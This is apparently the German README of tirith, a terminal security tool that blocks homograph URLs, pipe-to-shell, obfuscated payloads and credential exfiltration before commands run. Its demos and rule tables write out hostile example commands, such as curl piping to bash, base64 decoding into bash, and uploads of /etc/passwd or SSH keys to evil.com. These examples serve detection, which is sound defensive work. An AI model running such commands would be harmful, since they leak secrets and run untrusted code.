sheeki03/tirithTerminalsicherheit für Entwickler und KI-Agenten. Fängt homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration und schädliche KI-Fähigkeiten/-Konfigurationen ab, bevor sie ausgeführt werden.
Ihr Browser würde das erkennen. Ihr Terminal nicht.
Website | Docs | SKILL.md | Changelog
Unabhängiges Open-Source-Projekt, gehostet mit Unterstützung des Vercel Open Source Program (Frühjahr 2026).
Erkennen Sie den Unterschied?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
Du kannst nicht. Dein Terminal auch nicht. Beide `і`-Zeichen sind kyrillisch (U+0456), nicht lateinisch `i`. Die zweite URL führt zu einem Server des Angreifers. Das Skript wird ausgeführt, bevor du es bemerkst.
Browser haben dieses Problem bereits vor Jahren gelöst. Terminals rendern immer noch Unicode, ANSI-Escape-Sequenzen und unsichtbare Zeichen ohne zu hinterfragen. KI-Agenten führen Shell-Befehle aus und installieren Pakete, ohne zu prüfen, was darin steckt.
**Tirith steht am Tor.** Es fängt Befehle, eingefügte Inhalte und gescannte Dateien ab, bevor sie ausgeführt werden, und prüft sie auf Homograph-URLs, verschleierte Payloads, Credential-Exfiltration, bösartige KI-Skills/-Konfigurationen sowie bekannte schädliche Pakete/Domains/IPs aus einer signierten Bedrohungsintelligenz-Datenbank.```bash
brew install tirith
Dann aktivieren Sie in Ihrem Shell-Profil:```bash
eval "$(tirith init --shell zsh)"
eval "$(tirith init --shell bash)"
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` erkennt automatisch Ihre aktuelle Shell (es prüft den Elternprozess und greift falls nötig auf `$SHELL` zurück). Das explizite `--shell`-Flag wird nur benötigt, wenn Sie die Erkennung überschreiben möchten.
Das war's. Jeder von Ihnen ausgeführte Befehl ist jetzt geschützt. Null Reibung bei sauberer Eingabe. Überhead im Sub-Millisekunden-Bereich. Sie vergessen, dass es da ist, bis es Sie rettet.
Auch verfügbar über [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) und [mehr](#install).
---
## In Aktion sehen
**Homograph-Angriff, vor der Ausführung blockiert:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
Der Befehl wird nie ausgeführt.
Pipe-to-Shell mit sauberer URL, gewarnt, nicht blockiert:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
Warnung wird nach stderr ausgegeben. Befehl wird trotzdem ausgeführt.
**Base64-Dekodierungs-Ausführungskette, blockiert:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Erfasst Dekodierungsketten durch sudo/env-Wrapper und PowerShell -EncodedCommand ebenfalls.
Anmeldeinformationen-Exfiltration, blockiert:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
Enthält alle curl/wget Upload-Flags, Umgebungsvariablen (`$AWS_SECRET_ACCESS_KEY`) und Befehlsersetzung.
**Böswillige Skill-Datei, beim Scan erkannt:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Scannt JS/Python-Dateien nach verschleierten Payloads, dynamischer Codeausführung und Mustern zur Exfiltration von Geheimnissen.
Normale Befehle, unsichtbar:``` $ git status $ ls -la $ docker compose up -d
Nichts. Keine Ausgabe. Du vergisst, dass tirith läuft.
---
## Was es erfasst
**221 Erkennungsregeln in 34 Kategorien.**
| Kategorie | Was es blockiert |
|----------|--------------|
| **Homograph-Angriffe** | Kyrillische/griechische Ähnlichkeiten in Hostnamen, Punycode-Domains, gemischt-schriftliche Labels, ähnliche TLDs, verwechselbare Domains, Erkennung von Verwechslungen auf Textebene (mathematische Alphanumeriken, gleichwortige Mischschrift) |
| **Terminal-Injection** | ANSI-Escape-Sequenzen, Bidi-Überschreibungen, Nullbreitenzeichen, Unicode-Tags, unsichtbare mathematische Operatoren, Variantenselektoren, Hangul-Füller |
| **Steganographie-Abwehr** | Unsichtbare Leerzeichenkodierung (12 Unicode-Leerzeichenvarianten), Mongolischer Vokaltrenner, Hangul-Füllerzeichen, mathematische alphanumerische Substitution, Abwehr von st3gg-artiger Text-Steganographie |
| **Pipe-to-Shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, jedes Quelle-zu-Senke-Muster |
| **Base64 dekodieren & ausführen** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, Dekodierungsketten durch sudo/env-Wrapper |
| **Datenerfiltrations** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, Umgebungsvariablen-Uploads (`$AWS_SECRET_ACCESS_KEY`), Befehlssubstitutions-Exfiltration |
| **Code-Datei-Scan** | Verschleierte Payloads (`eval(atob(...))`), dynamische Codeausführung (`exec(b64decode(...))`), Geheimnis-Exfiltration via `fetch`/`requests.post` in JS/Python-Dateien |
| **Anmeldeinformationserkennung** | AWS-Schlüssel, GitHub-PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm-Token, private Schlüsselblöcke, sowie entropiebasierte generische Geheimniserkennung |
| **Post-Kompromittierungsverhalten** | Prozessspeicher-Auslesen (`/proc/*/mem`), Docker-Remote-Privilegienerweiterung, Credential-Datei-Scans, kalibriert gegen TeamPCP- und UNC1069-Post-Kompromittierungs-Tooling |
| **Befehlssicherheit** | Dotfile-Überschreibungen, Archivextraktion in sensible Pfade, Cloud-Metadaten-Endpunktzugriff, privater Netzwerkzugriff |
| **Unsicherer Transport** | Plain-HTTP in die Shell gepiped, `curl -k`, deaktivierte TLS-Verifizierung, verkürzte URLs, die Ziele verbergen |
| **Umgebung** | Proxy-Hijacking, sensible Umgebungsvariablen-Exporte, Code-Injection via Umgebungsvariable, Interpreter-Hijacking, Shell-Injection über Umgebungsvariable |
| **Konfigurationsdatei-Sicherheit** | Konfig-Injection, verdächtige Indikatoren, nicht-ASCII/unsichtbares Unicode in Konfigs, MCP-Server-Sicherheit (unsicher/unvertraut/doppelt/permissiv) |
| **Ökosystem-Bedrohungen** | Git-Clone-Typosquats, unvertraute Docker-Registries, pip/npm-URL-Installationen, Web3-RPC-Endpunkte, "vet-not-configured" |
| **Installationsbefehl-Sicherheit** | APT-Repos aus einem Pip-Download hinzugefügt, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (deaktivierte Signaturprüfungen), `kubectl apply -f` gegen rohe/verkürzte Remote-Manifeste, Helm-Charts aus unvertrauten Repos, Terraform-Module aus unvertrauten Remote-Quellen, `brew install`/`tap` von beliebigen URLs |
| **Pfadanalyse** | Nicht-ASCII-Pfade, Homoglyphen in Pfaden, Doppelkodierung |
| **Gerenderter Inhalt** | Versteckte CSS/Farbinhalte, versteckte HTML-Attribute, Kommentar-Inhaltsanalyse (Prompt-Injection bei Hoch, destruktive Befehle bei Mittel) |
| **Verschleierungserkennung** | Serverseitige Verschleierung (Bot vs Browser), versteckter Zwischenablageninhalt, versteckter PDF-Text |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, Windows-Defender-Ausnahmen (`Add-MpPreference -Exclusion*`), inline `iex (iwr ...)` Download-Ausführung |
| **Terminal-Ausgabe-Verteidigung** | OSC-52-Zwischenablagen-Schreibvorgänge, gefälschte Prompts, OSC-8-Hyperlink- und Titel-/Bildschirmlösch-Manipulation, Prompt-Injection innerhalb von Befehls- oder MCP-Tool-Ausgaben (sowohl roh als auch deobfuskiert gescannt, sodass unsichtbare Zeichen, Verwechslungen, Leerzeichen-getrennt, Leetspeak und kurze Base64/Hex-Verschleierungen ebenfalls erfasst werden) und Datenexfiltration (Beacon-URLs oder "lies ein Geheimnis und sende es"-Anweisungen) |
| **Operativer Kontext** | Destruktive Befehle gegen labelled-prod-Cloud-/k8s-Kontexte und SSH-Hosts, Terraform/Pulumi/OpenTofu `apply` ohne passenden gespeicherten Plan, riskante sudo-Eskalation, privilegiertes `docker run` |
| **Workstation & Persistenz** | Berechtigungsdateien mit lockeren Rechten und Klartext-Token (`~/.ssh`, `~/.aws`, `.npmrc`), Persistenz-Fußabdrücke (Shell-rc, `authorized_keys`, Crontab, LaunchAgents, git `core.hooksPath`), PATH-Hijack-Reihenfolge, Ausführungsherkunft, riskante Aliase und sensibler Env-Var-Lebenszyklus |
| **Schadradius & Korrelation** | Löschvorgänge, die das Repository verlassen, Massenlöschungen, Ausführen von Dateien, die aus riskanten Quellen heruntergeladen wurden, und Sitzungsketten wie Geheimnis-Schreiben dann Netzwerk oder Löschen dann `git push --force` |
| **Vertrauen, Attestation & Provenienz** | Signiertes Befehls-Karten-Mismatch, Canary-Honetoken-Berührungen, Paste-Quell-Host-Mismatch, Aufrufer-Ursprung (Agent)-Richtlinienverweigerungen, MCP-Lockfile-Abweichung und KI-Konfigurationsabweichung gegenüber einem bekannten sicheren Snapshot |
---
## Wovor tirith NICHT schützt
Tirith analysiert die **Struktur** von Befehlen, eingefügten Texten und Dateien,
bevor sie ausgeführt werden. Es ist ein Vorausführungs-Gate, keine Laufzeitabwehr,
und deckt Folgendes nicht ab:
- **Laufzeit-Sandboxing:** tirith warnt oder blockiert; es sandboxt oder isoliert
keinen Befehl, sobald er läuft.
- **Netzwerküberwachung nach der Ausführung:** was ein Prozess nach dem Start
im Netzwerk tut, liegt außerhalb des Rahmens.
- **Malware-/Payload-Erkennung:** tirith analysiert die Struktur, nicht das
Payload-Verhalten. Es ist kein Antivirenprogramm und führt keine Detonation
oder Signaturprüfung durch.
(`tirith run` prüft die Struktur eines heruntergeladenen Skripts, immer noch
keine Malware-Analyse.)
- **Ein privilegierter Root-/Admin-Angreifer:** jeder, der bereits Root oder Admin
ist, kann tirith trivial umgehen. Es schützt vor getäuschten Eingaben, nicht
vor einem Angreifer, der bereits die Maschine besitzt.
- **Anti-Debugging / Anti-Manipulation:** tirith widersetzt sich nicht der
Reverse-Engineering und schützt sein eigenes Binärprogramm nicht vor einem
lokalen Angreifer.
Siehe [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/HEAD/docs/threat-model.md) für das vollständige Bedrohungsmodell und
explizite Nicht-Ziele.
---
## Bekannte Einschränkungen
- **Empfindlichkeit des Shell-Hooks:** Der Schutz hängt davon ab, dass ein Shell-Hook
installiert und aktiv bleibt. Hooks können über verschiedene Shells,
Shell-Versionen, Prompt-Frameworks und Verlaufs-Tools hinweg brechen oder
unbemerkt degradieren. Führe `tirith doctor` aus, um den Live-Status zu prüfen
und auf Warnungen vor Degradation zu achten.
- **Nur-Unix-Funktionen:** Daemon-Modus, `tirith setup`, `tirith run` und
`tirith fetch` sind derzeit nur unter Unix verfügbar.
- **Umfang der Paketnamensextraktion:** Deckt Sprachökosysteme ab (pip,
npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), nicht
distributionsspezifische Paketmanager (`apt`, `dnf`, `yum`, `pacman`).
- **Einschränkungen bei KI-Agenten:** Die Shell-Hook-Interception schützt nur
Befehle, die durch eine eingehängte interaktive Shell gehen. Ein Agent, der
eine nicht-interaktive Shell startet, `exec` direkt aufruft oder ohne
geladenen Hook läuft, ist nicht geschützt. Der MCP-Schutz ist beratend (der
Agent muss die tirith-MCP-Tools aufrufen), nicht erzwingend.
---
## Bedrohungsinformationen
Tirith wird mit einer signierten lokalen Bedrohungsdatenbank für Paket-, Hostnamen- und IP-Reputation ausgeliefert. Wenn ein Shell-Hook oder `tirith check` eine Paketinstallation oder eine verdächtige Infrastrukturreferenz sieht, wird diese Eingabe vor der Befehlsausführung mit der Datenbank abgeglichen, anstatt sich nur auf statische Heuristiken zu verlassen.
**Signierte DB** (täglich von CI erstellt, bei Download und Laden verifiziert):
- Bekannt schädliche Pakete von [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) und [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Schädliche IP-Infrastruktur von [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Bestätigte Typosquats und Baseline bekannter Pakete von [ecosyste.ms](https://ecosyste.ms/)
- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)-Katalog für Laufzeitberatungskorrelation
**Optionale ergänzende Feeds** (benutzerseitige Überlagerung):
- [URLhaus](https://urlhaus.abuse.ch/) und [ThreatFox](https://threatfox.abuse.ch/) über einen abuse.ch-Authentifizierungsschlüssel
- [PhishTank](https://phishtank.org/) (Cisco Talos) und [Phishing Army](https://phishing.army/)-Blocklisten
- Tor-Exit-Knoten-Liste von [Tor Project](https://www.torproject.org/)
**Optionale Live-Anreicherung** während `tirith check` und dem Daemon-Modus:
- [OSV.dev](https://osv.dev/) Advisory-Abfragen (Google OSS)
- [deps.dev](https://deps.dev/)-Paket-Gesundheitssignale (Google OSS) und [ecosyste.ms](https://ecosyste.ms/)-Maintainer-Daten
- [Google Safe Browsing](https://safebrowsing.google.com/)-URL-Reputation mit Ihrem eigenen API-Schlüssel```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
Standardmäßig lösen Shell-Hooks und tirith check alle 24 Stunden eine kostengünstige Hintergrundaktualisierungsprüfung aus. Der Daemon-Modus hält denselben Anreicherungspfad im Hintergrund warm.
threat-db explain akzeptiert eine Domain, einen Paketnamen (name, ecosystem:name oder name@version) oder eine IPv4-Adresse. Die Binärdatei behält keine Eintragshistorie, daher meldet threat-db diff Kategorie- und Quellen-spezifische Zählerdifferenzen zwischen Schnappschüssen, nicht die genauen geänderten Einträge. Jeder threat-db-Befehl akzeptiert --format json; threatdb ist ein Alias.
tirith package risk <ecosystem> <name> bewertet das Supply-Chain- / Maintainer-Risiko eines Pakets auf die gleiche Weise wie tirith score eine URL bewertet, eine deterministische, vollständig erklärbare Summe benannter Faktoren, ohne Modell und ohne erlernte Gewichte. tirith package explain <ecosystem> <name> fügt die faktorweise Herleitung hinzu; beide akzeptieren --format json.```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
**Standardmäßig offline.** Ohne Flags sind alle Signale lokal, ohne Netzwerkaufruf: (1) **Name vs. populäre Pakete**: bekannt-populär, unbekannt oder eine Ein-Buchstaben-Änderung eines populären Namens (die klassische Typosquat/Slopsquat-Form), aus der `popular`-Menge der lokalen Bedrohungsdatenbank; (2) **bekannter bösartiger Typosquat**: eine exakte Übereinstimmung im `typosquat`-Index der Bedrohungsdatenbank; (3) **Installations-/Lebenszyklus-Skripte** und (4) **gebündelte Binärdateien**, nur erkannt wenn der Paketinhalt lokal verfügbar ist (unter `node_modules` / `site-packages` oder über `--path`). tirith **lädt das Paket nie herunter**.
**`--online` fügt Registry-Herkunft hinzu.** Es konsultiert die Registry des Pakets (npm, PyPI oder crates.io) für sechs weitere Faktoren im *gleichen* Faktorsummenmodell: Alter des Pakets/der Version, ein etabliertes Paket ohne Besitzer, ein abnormaler Versionsanstieg, sehr wenige Downloads, fehlendes Quell-Repository und zurückgezogener/veralteter Status. Es ist der einzige Pfad, der das Netzwerk berührt (niemals der `check`-Hot-Path); `--offline` / `TIRITH_OFFLINE` erzwingen unabhängig davon den Offline-Modus. Fehler fallen auf den Offline-Score zurück mit einem ehrlichen `api signals: unavailable`, und Antworten werden mit einer TTL gecached, sodass wiederholte Läufe die Registries nicht überlasten.
Die Bewertung ist beratend und eigenständig: `package risk` ist keine Erkennungsregel und ändert weder Urteil, Exit-Code noch Prüfprotokoll.
### Ökosystem-Scan, Supply-Chain-Firewall
`tirith ecosystem scan [path]` ist das Verzeichnis-Ebenen-Gegenstück zu `package risk`. Es durchläuft ein Projekt, entdeckt jedes Abhängigkeitsmanifest, das es versteht, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), und bewertet **jede deklarierte Abhängigkeit** mit derselben deterministischen `package_risk`-Faktoren-Engine.```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
Es beinhaltet Slopsquat-Erkennung. Slopsquatting ist die Registrierung eines plausiblen, aber gefälschten Namens, den LLMs als Abhängigkeit halluzinieren. ecosystem scan meldet einen Namen nur dann, wenn alle drei Bedingungen zutreffen: der Name ist weder als echt bekannt noch beliebt, er hat die Form einer KI-Halluzination (ein Sprachpräfix wie python- / node- plus beschreibende Tokens, ein Stapel generischer Füllwörter wie helper / utils / client oder ein ungewöhnlich langer Name) und er liegt nahe an einem echten, populären Namen (eine Ein-Bearbeitung-Nähe, oder er enthält einen populären Namen als Wort). Die Anforderung aller drei Bedingungen hält Fehlalarme niedrig: Ein ehrliches data-utils ohne populären Anker wird nicht ausgelöst.
Standardmäßig offline, optionales --online. Name- und Typosquat-Signale stammen aus der lokalen Bedrohungsdatenbank; --online fügt Registry-Herkunft hinzu, gated und degradiert genau wie package risk --online, niemals auf dem check-Hot-Path. Erkenntnisse fließen durch tiriths normales Verdict-/Finding-Modell: erklärbar (tirith explain --rule threat_suspicious_package), protokolliert und unter Einhaltung der Policy-Whitelist (ein whitelistiertes Paket, nach bloßem Namen oder ecosystem:name, wird unterdrückt). Exit-Codes entsprechen denen von tirith scan: 1 für ein blockierendes Finding, 2 für hinweisend, 0 wenn sauber.
Dies hilft, bekannte bösartige Pakete, bestätigte Typosquats, Slopsquat-Paketnamen, bösartige Download-Infrastruktur und Pakete mit aktuellen OSV- / CISA-KEV-Warnungsdaten zu erkennen.
Angriffsfamilien, für die tirith entwickelt wurde (illustrativ, kein Anspruch auf vollständige Abdeckung durch aktuellen Code):
Die Extraktion von Paketnamen deckt derzeit Sprach-Ökosysteme ab (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), nicht aber Distro-Paketmanager (apt / dnf / yum / pacman). Deshalb ist xz-utils, das über Linux-Distro-Tarballs eingeschleust wurde, trotz des prominenten Vorfalls nicht in der Tabelle enthalten.
Tirith schützt KI-Codieragenten auf jeder Ebene, von den Konfigurationen, die sie lesen, bis zu den Befehlen, die sie ausführen.
Wenn KI-Agenten Shell-Befehle ausführen (Claude Code, Codex, Cursor, etc.), fangen tiriths Shell-Hooks jeden Befehl ab, bevor er ausgeführt wird. Keine agentenseitige Konfiguration erforderlich; wenn der Hook in der Shell aktiv ist, sind alle Befehle geschützt:
Verwenden Sie tirith setup <tool> für eine Ein-Befehl-Konfiguration (siehe KI-Agenten-Integrationen).
Führen Sie tirith mcp-server aus oder verwenden Sie tirith setup <tool> --with-mcp, um tirith als MCP-Server zu registrieren. KI-Agenten können diese Werkzeuge aufrufen, bevor sie Maßnahmen ergreifen:
tirith mcp lock erfasst alle MCP-Server, die ein Repository deklariert – über .mcp.json / mcp.json / mcp_settings.json und die IDE-Konfigurationsvarianten (.vscode/, .cursor/, .windsurf/, .cline/, .amazonq/, .continue/, .kiro/) – in einer deterministischen Lockdatei unter .tirith/mcp.lock. Jeder Server wird mit seinem Transport (eine entfernte URL oder ein lokaler Befehl + Argumente), den deklarierten Werkzeugen und einem Content-Hash aufgezeichnet; Server sind nach Name sortiert, sodass die Lockdatei diff-freundlich ist. Die Erkennung erfolgt ausschließlich repo-lokal und ohne Netzwerkzugriff. (tirith mcp ist eine separate Befehlskategorie von , welches tirith MCP-Server ausführt.)
tirith mcp verify ist das flankierende Gating: Es baut das aktuelle Inventar gegen die festgeschriebene Lockdatei neu auf und beendet sich mit Exit-Code 1 bei Abweichung (0 bei Übereinstimmung, 2 bei Nutzungsfehlern wie fehlender Lockdatei). tirith mcp diff meldet dieselbe Abweichung informativ (immer Exit-Code 0, nur bei Nutzungsfehlern 2, sodass ein Konsument unterscheiden kann zwischen „keine Abweichung“ und „konnte nicht geprüft werden“). Abweichungen werden auch über tirith scan als mcp_server_drift (Mittel) gemeldet, sodass ein Pre-Commit-Hook oder eine CI eine MCP-Oberflächenänderung abfängt, wie sie auch eine nicht gepinnte Aktion abfangen würde. verify / diff geben niemals Umgebungsvariablenwerte oder URL-Benutzerinformationen aus, sondern nur die Namen dessen, was sich geändert hat.
Zwei Policy-Felder steuern, was akzeptiert wird: scan.trusted_mcp_servers unterdrückt die Konfigurationserkenntnisse eines Servers und stillt seine Abweichung; scan.mcp_allowed_tools deklariert die genauen Werkzeuge, die jeder Server bereitstellen darf (ein Werkzeug außerhalb dieser Menge gibt ein hohes mcp_server_drift-Finding, und eine Abweichung, die ein solches Werkzeug hinzufügt, stuft Mittel auf Hoch hoch). tirith mcp policy init erstellt beide Blöcke aus der aktuellen Lockdatei in .tirith/mcp-policy.yaml.example, jeder Eintrag auskommentiert, damit ein Import niemals stillschweigend die Vertrauensbasis erweitert.
tirith scan erkennt Prompt-Injection und versteckte Nutzlasten in KI-Konfigurationsdateien. Es priorisiert und scannt über 50 bekannte KI-Konfigurationsdateimuster:
.cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md.claude/-Einstellungen, Agenten, Skills, Plugins, Regeln.cursor/, .vscode/, .windsurf/, .cline/, .continue/, .roo/, .codex/-Konfigurationenmcp.json, .mcp.json, Was es in Konfigurationen erkennt:
tirith scan untersucht auch die Dateien, die ein Repo eincheckt, um seine eigenen Build- und Deploy-Pipelines zu beschreiben. Es erkennt das gefährliche Muster, nicht das Werkzeug: eine SHA-gepinnte Aktion, ein digest-gepinntes Image, ein lokales Terraform-Modul und eine normale package.json bleiben sauber.
Was es in CI-/Infrastrukturdateien erkennt:
.github/workflows/*.yml): eine uses:-Referenz einer Aktion, die auf einen veränderlichen Ref gepinnt ist (@v3, @main) statt auf einen Commit-SHA; der pull_request_target-Auslöser; ein curl … | bash-Pipe-to-Shell in einem run:-Schritt; ein angreiferkontrollierter Wert ${{ github.event.* }}, der in einen run:-Shell-Schritt interpoliert wird (Script-Injection)FROM-Basisimage auf dem veränderlichen latest-Tag (oder ohne Tag) ohne @sha256:-Digest-Pin*.tf): ein -Block, der von einer entfernten / nicht vertrauenswürdigen Quelle stammt statt von einem lokalen Pfad oder der Terraform RegistryDrei eingebaute --profile-Werte stimmen den Scan ab: ci-hardening (jeder Check mit voller Stärke, Fehler bei high), ai-agent-repo (behält Injection-Erkenntnisse, verwirft niederwertiges Pin-Hygiene-Rauschen) und oss-maintainer (betont durch Beiträger kontrollierbares Risiko bei der Überprüfung einer Änderung).```bash
tirith scan ./ # scan the repo
tirith scan --profile ci-hardening ./ # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif
### Erkennung versteckter Inhalte
Erkennt für Menschen unsichtbare, aber für KI lesbare Inhalte in HTML, Markdown und PDF:
- **CSS-Verstecken**: `display:none`, `visibility:hidden`, `opacity:0`, `font-size:0`, Positionierung außerhalb des Bildschirms
- **Farbverstecken**: weißer Text auf weißem Hintergrund, ähnliche Vorder-/Hintergrundfarben (Kontrastverhältnis < 1,5:1)
- **HTML/Markdown-Kommentare**: Prompt-Injection-Phrasen (Hoch), destruktive Befehle wie `rm -rf` oder `curl|bash` (Mittel), lange Kommentare, die Anweisungen verbergen (Niedrig)
- **Versteckter Text in PDFs**: sub-pixel-gerenderter Text (Schriftgröße < 1px), für Leser unsichtbar, aber von LLMs analysierbar
### Scannen KI-relevanter Dateien auf versteckte Inhalte
`tirith scan` überprüft auch Dateitypen, die ein KI-Coding-Agent (oder ein Renderer) liest und auf die er reagiert, und sucht nach Inhalten, die **an einem menschlichen Prüfer vorbeigeschmuggelt** wurden. Ein normales Notebook, eine gewöhnliche `CLAUDE.md` mit sichtbaren Anweisungen und ein einfaches SVG-Bild bleiben sauber, nur versteckte/geschmuggelte Inhalte schlagen an.
- **Jupyter-Notebooks** (`*.ipynb`): unsichtbare / bidi / Nullbreitenzeichen im Zellquellcode, ein base64-kodierter Blob, der im Quellcode eingebettet ist, eine Zelle, die in der gerenderten Ansicht versteckt ist (`metadata.jupyter.source_hidden` / ein `hide_input`-Tag), sowie Zell*ausgaben*, die unsichtbare Zeichen oder aktives/verstecktes HTML enthalten
- **KI-Agenten-Anweisungsdateien** (`CLAUDE.md`, `AGENTS.md`, `.cursorrules` und ähnliche), nur *versteckte* Anweisungen: eine Anweisung in einem HTML-Kommentar (unsichtbar im gerenderten Markdown) oder ein visuell verstecktes HTML-Element. Diese Dateien enthalten legitimerweise sichtbare Anweisungen, daher schlagen gewöhnliche sichtbare Anweisungen nie an
- **SVG-Bilder** (`*.svg`): ein eingebettetes `<script>`, ein Inline-`on*`-Event-Handler, ein `javascript:`-URI, ein entferntes `xlink:href` / `href` oder eine XXE-Extern-Entity-Deklaration
### Erkennung von Cloaking
`tirith fetch` vergleicht Serverantworten über 6 User-Agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) hinweg, um zu erkennen, wann Server KI-Bots und Browsern unterschiedliche Inhalte ausliefern.
---
## Betriebskontext & Arbeitsplatzsicherungen
Über einzelne Befehle hinaus erweitern mehrere Befehlgruppen das Tor auf Ihren Betriebskontext und Arbeitsplatzstatus. Diejenigen, die den heißen Pfad berühren, sind opt-in (ein Policy-Flag); die anderen laufen auf Abruf.
**Betriebskontext** (`tirith context`, `ssh`, `iac`, `sudo`). Kennzeichnen Sie Ihre Produktions-Cloud-/Kubernetes-Kontexte und SSH-Hosts einmalig, und tirith eskalert, was wichtig ist: ein destruktiver Befehl gegen einen als Produktion gekennzeichneten Kontext, eine SSH-Verbindung zu einem als Produktion gekennzeichneten Host, ein Terraform-/Pulumi-/OpenTofu-`apply` ohne passenden gespeicherten Plan oder eine sudo-Eskalation ohne begründetes Sitzungsfenster. Die Kennzeichnungen befinden sich in `~/.config/tirith/context-labels.yaml` und `ssh-host-labels.yaml` (oder im Repository-Bereich unter `.tirith/`).
**Arbeitsplatzhygiene** (`tirith hygiene`, `persistence`, `aliases`, `env`, `exec`, `path`, `hooks`). Scannen Sie nach Berechtigungsdateien mit zu laxen Rechten und Klartext-Tokens (`~/.ssh`, `~/.aws`, `~/.kube`, `.npmrc`, `.pypirc`), differenzieren Sie die Persistenz-Fußabdrücke, die ein Angreifer nutzt (Shell-RC, `authorized_keys`, crontab, LaunchAgents / systemd-user-units, git `core.hooksPath`), markieren Sie Aliase, die kritische Befehle überschatten oder Berechtigungen auslesen, prüfen Sie `$PATH` auf Hijacking-Reihenfolge und melden Sie die Herkunft einer Binärdatei (Paketbesitzer, Codesignatur, ob sie einen Systembefehl überschattet).
**Schadensradius & Isolierung** (`tirith preview`, `watch`, `temp-run`, `taint`, `intend`, `baseline`). Vorschau auf die Dateisystemauswirkungen eines destruktiven Befehls, bevor Sie ihn ausführen, differenzieren, was ein Befehl tatsächlich geändert hat, einen nicht vertrauenswürdigen Befehl in einem Wegwerfverzeichnis ausführen und Dateien nachverfolgen, die von riskanten Quellen heruntergeladen wurden, sodass deren spätere Ausführung einen Fund auslöst. `temp-run` ändert nur das Arbeitsverzeichnis; es handelt sich um Dateiisolierung, nicht um eine Sandbox.
## Vertrauen, Attestierung & Incident Response
- **Befehlsattestierungen** (`tirith command-card`) signieren einen als gut bekannten Befehl mit einem ed25519-Schlüssel; eine vertrauenswürdige Karte, die nicht mehr zum Befehl passt, löst Hoch aus.
- **Repo-Befehlsmanifest** (`tirith commands`) ist eine `.tirith/commands.yaml`-Allowlist, die die Notiz zum unbekannten Befehl für freigegebene Befehle unterdrückt und eine nur-eskalierende `dangerous[]`-Liste hinzufügt (es kann ein Urteil verschärfen, niemals abschwächen).
- **Honeytokens** (`tirith canary`) pflanzt eindeutig synthetische Canary-Tokens; eine Berührung in einem geprüften Befehl, Einfügevorgang oder Tool-Output löst Hoch aus. Die Erkennung erfolgt über einen lokalen Store-Lookup, keinen Formvergleich.
- **Geheimnisrotation** (`tirith secret`) liest aktuelle Anmeldeinformationen aus Ihrem Audit-Log und gibt anbieterspezifische Rotations-/Widerrufsschritte für 11 Anbieter aus. Es rotiert selbst nie etwas und tätigt keine Netzwerkaufrufe.
- **Incident-Modus** (`tirith incident`) erklärt eine "unter Angriff"-Haltung: erzwingt `fail_mode: closed`, deaktiviert den `TIRITH=0`-Bypass und erhöht die Regeln für Credential-Sweep, Decode-Execute und verdächtige Binärdateien, bis Sie ihn stoppen.
## Ausgabe-, Einfüge- & Freigabesicherheit
